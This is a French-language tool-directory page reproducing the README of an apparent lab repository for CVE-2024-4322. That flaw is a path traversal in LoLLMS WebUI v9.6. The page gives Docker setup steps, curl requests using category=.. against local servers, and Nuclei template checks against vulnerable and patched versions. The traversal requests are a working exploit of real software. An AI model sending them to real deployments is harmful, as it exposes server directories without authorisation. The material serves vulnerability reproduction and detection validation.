Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Outils/GitHubGitHub/mj-bin/poc_cve-2024-4322
Analyse des VulnérabilitésExploitationSécurité WebCTFApprentissage et ÉducationLabs et Pratique
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-4322 : Preuve de concept (PoC) pour LoLLMS WebUI et laboratoire de validation Nuclei

Ce dépôt fournit des laboratoires locaux conteneurisés pour reproduire CVE-2024-4322, une vulnérabilité de traversée de chemin dans LoLLMS WebUI v9.6, et pour valider que le modèle Nuclei associé ne correspond pas à LoLLMS WebUI v9.8.

Utilisez ce laboratoire uniquement contre des cibles locales, dont vous êtes propriétaire ou explicitement autorisées.

Résumé de la vulnérabilité

Le point d'accès /list_personalities dans LoLLMS WebUI v9.6 est vulnérable à une traversée de chemin. Le paramètre category contrôlé par l'utilisateur est ajouté à personalities_zoo_path sans assainissement :

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

En envoyant category=.., la requête peut sortir du répertoire prévu des personnalités et lister le contenu d'un répertoire parent.

Signal attendu de la vulnérabilité :

root@kitploit:~
category=   -> []
category=.. -> la réponse contient "personalities_zoo"
Télécharger l’outil

Le comportement corrigé dans v9.8 rejette l'entrée de traversée avant le listage du répertoire.

Matrice des laboratoires

EnvironnementVersionServiceURL hôteRésultat attendu du modèle
Linux vulnérablev9.6linux-vuln-serverhttp://127.0.0.1:9600correspond
Linux corrigév9.8linux-patched-serverhttp://127.0.0.1:9602aucune correspondance
Windows vulnérablev9.6windows-vuln-serverhttp://127.0.0.1:9601correspond
Windows corrigév9.8windows-patched-serverhttp://127.0.0.1:9603aucune correspondance

Exécutez toutes les commandes à partir du répertoire contenant ce README.

Laboratoire Linux vulnérable

1. Démarrer le serveur

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Attendez que :

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Appuyez sur Ctrl-C pour arrêter le suivi des logs. Le conteneur continue de s'exécuter.

2. Vérifier le comportement HTTP

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Résultat attendu :

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.

3. Valider avec Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Résultat attendu :

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Vérification Nuclei Linux vulnérable

Laboratoire Linux corrigé

1. Démarrer le serveur

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Attendez que :

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Résultat attendu :

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Valider avec Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Résultat attendu :

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Vérification Nuclei Linux corrigé

Laboratoire Windows vulnérable

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.

1. Démarrer le serveur

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Attendez que :

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Résultat attendu :

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

L'ordre peut varier. Le signal important est que la réponse de traversée diffère de la réponse de contrôle et contient personalities_zoo.

3. Valider avec Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Résultat attendu :

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Vérification Nuclei Windows vulnérable

Laboratoire Windows corrigé

Ce laboratoire nécessite Docker Desktop en mode conteneurs Windows. Exécutez les commandes ci-dessous à partir de ce répertoire dans PowerShell.

1. Démarrer le serveur

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Attendez que :

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Vérifier le comportement HTTP

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Résultat attendu :

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Valider avec Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Résultat attendu :

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Vérification Nuclei Windows corrigé

Nettoyage

Conteneurs Linux :

root@kitploit:~
docker compose --profile patched down --rmi local

Conteneurs Windows :

root@kitploit:~
docker compose --profile windows down

Prérequis

  • Docker et Docker Compose.
  • Docker Desktop en mode conteneurs Windows pour les laboratoires Windows.
  • curl.
  • jq pour les exemples HTTP Linux vulnérables.
  • Nuclei pour la validation du modèle.

Si jq n'est pas disponible sur l'hôte Linux, utilisez le conteneur analyste :

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Si Nuclei n'est pas installé sur Windows, téléchargez le binaire de la version Windows depuis https://github.com/projectdiscovery/nuclei/releases, décompressez-le, et exécutez nuclei.exe directement depuis le répertoire extrait.

Notes de configuration du laboratoire

Les Dockerfiles patchent les installateurs historiques pendant la construction afin que le laboratoire soit reproductible aujourd'hui :

  • Les laboratoires vulnérables clonent le tag v9.6 de lollms-webui.

  • Les laboratoires corrigés clonent le tag v9.8 de lollms-webui.

  • L'URL du sous-module lollms_core est réécrite en https://github.com/ParisNeo/lollms_legacy.git car l'historique source a été déplacé.

  • Le versionnage est vérifié par rapport aux métadonnées Git amont : v9.6 est e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, et v9.8 est 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • Les commits correspondants du sous-module lollms_core sont cfb18f6f1091addf440347322441ab28005a2d3b pour v9.6 et 6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 pour v9.8, vérifiés avec git ls-tree HEAD lollms_core sur chaque extraction de tag.

  • Les options auto_update et auto_sync_* sont désactivées pour maintenir chaque laboratoire figé.

  • Des fichiers de configuration sans interaction sont injectés pour que le serveur puisse démarrer sans invites.

  • Les dépendances lourdes qui ne sont pas nécessaires pour la validation du point d'accès sont ignorées dans la mesure du possible.

  • Les installateurs Windows sont corrigés pour créer leur répertoire temporaire et éviter les sous-modules récursifs obsolètes.

Justification du correctif

L'invariant brisé est :

root@kitploit:~
le chemin résolu doit rester à l'intérieur du répertoire des personnalités

LoLLMS WebUI v9.8 et versions ultérieures corrigent le problème en assainissant ou en contraignant le chemin category avant qu'il n'atteigne la logique de listage du répertoire du système de fichiers. Pour les déploiements réels, mettez à niveau LoLLMS WebUI vers la version 9.8 ou ultérieure.